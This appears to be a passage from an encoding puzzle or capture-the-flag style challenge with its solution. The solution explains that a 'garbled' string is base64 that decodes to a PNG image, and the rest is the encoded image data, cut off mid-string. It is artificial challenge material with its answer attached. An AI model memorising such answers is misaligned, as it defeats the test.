hSMEVYSzBmZ2FocFFaSE84L09TemJ0MDZhYVAxRnBGRERINjZKVXFVU0dzNHVNQmlDM0tpK3ZIaXdoczB3ZS9GODg4L0g4dCszNkJCQStuY3FaTXJhU3F3NmpORCswRVdlL2hCZVMyNFRxN1dSSzE0UEtxVkU4cVVLU01vUWw2dGFsV3BWcTJhWjRZWnZqZllnb1FCWmx0K3lrbG1tV1pyNUtsVXVienhWUkhsSVA2aDBSSW1nb1I2VFpvMnRjcjZiTkl1ZFVpQUJFZ2d6QVFXNm9XdXNDWVlUU1pZL1dyYnJsMUN0UXN1dUVCYWFJYjRCdlhyR3lkcS9lbW5uMklKU1Y5ZHNDRDJqUC9ESkVoblVLTkdqZGlqcGo3RGFMRVZwS0o0WC8yL1lQaThoMHoxSDMwVW1KWEFlSFBKeXNxS3BTV3BldmJac1lTc01NQkxsU3BsdkRzVnIwMjhobTFYR1Bmck5Lc0JucEd0SDhhdjM1SnB0b2JWaWxnWGk5cGswN1I0YU5pKzRINmZmT3lmQkVpQUJHd0lMRmYvSWp5d2dvQWNZdGl5UkozQ1l2cU1UT3BZRmR5bG1lYVI3RFg3Z1l0dm1GZGd2Lzc2NjFoSm5leXlPaWpSVTFxTmtpeDFtVGxaSDluUEoyb1MyNS9WeU55cldlYjNxZzlXN0ZsWHZuWXJqMDgxRTcxWEsvTTJ4L05vdXNpV2oxSkNlT1FVWk15SFVZWmNjd1gwNy96cXd3M2ZxdnlhVWY4RWZSeW5DVjkvVk1NcWxtMWZqVThZb05rUCtOK2hDa0VRSmROc0RXTkRESFdwVUdiQVJKRC9Cc3U4RkJJZ0FSSWdBZmNKd09DQ2dZSkhwZ20yRXYzWVRnd0NaMXhyTjIzYUZIc0VZVHhPakNFVGJRM2pxRW1VR0RDVldiTm14YXh1VTMzcWtRQUprQUFKa0FBSmtFQW0yaHBHaGhqMjQxSEx5MFRnN0RmVnc4cjBKbU9pRGdtUUFBbVFBQW1RUUxBSlpLcXRZV1NJZGV2YTFmam9ZZDkrcC9valVFaUFCRWlBQkVpQUJFakFsRUNtMmhwSkRiRUtGU3BJM2JwMWpUZ2lCSmNKWEkxUVVZa0VTSUFFU0lBRVNPQS9CRExaMWtocWlObEVMeUFmalZkSjhIajJrZ0FKa0FBSmtBQUpSSU5BSnRzYUNRMHhoTVUyYk5qUStDZ2pLU0NGQkVpQUJFaUFCRWlBQkV3SlpMcXRrZEFRYTZmSkJQUG16V3ZFY3VXcVZiSmVrOEpSU0lBRVNJQUVTSUFFU01DVVFLYmJHZ256aU1IeDNyVHN4ZHExYTAyWlU0OEVTSUFFU0lBRVNJQUVZZ1F5M2RaSWFJaWgzQUVlRkJJZ0FSSWdBUklnQVJKd2cwQ20yeG9KdHliZEFNNDJTWUFFU0lBRVNJQUVTSUFFZmlOQVE0eG5BZ21RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKMEJEak9VQUNKRUFDSkVBQ0pFQUNQaEdnSWVZVGVIWkxBaVJBQWlSQUFpUkFBalRFZUE2UUFBbVFBQW1RQUFtUWdFOEVhSWo1Qko3ZGtnQUprQUFKa0FBSmtBQU5NWjRESkVBQ0pFQUNKRUFDSk9BVEFScGlQb0ZudHlSQUFpUkFBaVJBQWlSQVE0em5BQW1RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKSkt3MVNUd2tRQUlrUUFMT0V1alpxNWNVek1wSzJ1ak9YYnVTNmxDQkJFZ2cvQVR5VktwYy9rajRwOEVaa0FBSmtBQUprQUFKa0VENENQdy9CTW1TU0lkbU1Dc0FBQUFBU1VWT1JLNUNZSUk9Question Explanation: Find the answer from this garbled text.Solution:Actually, this question is quite straightforward, no need to overthink; frequent users of encoding should recognize that this garbled text is just a base64 string. Let’s decode it to get:data:image/png;base64,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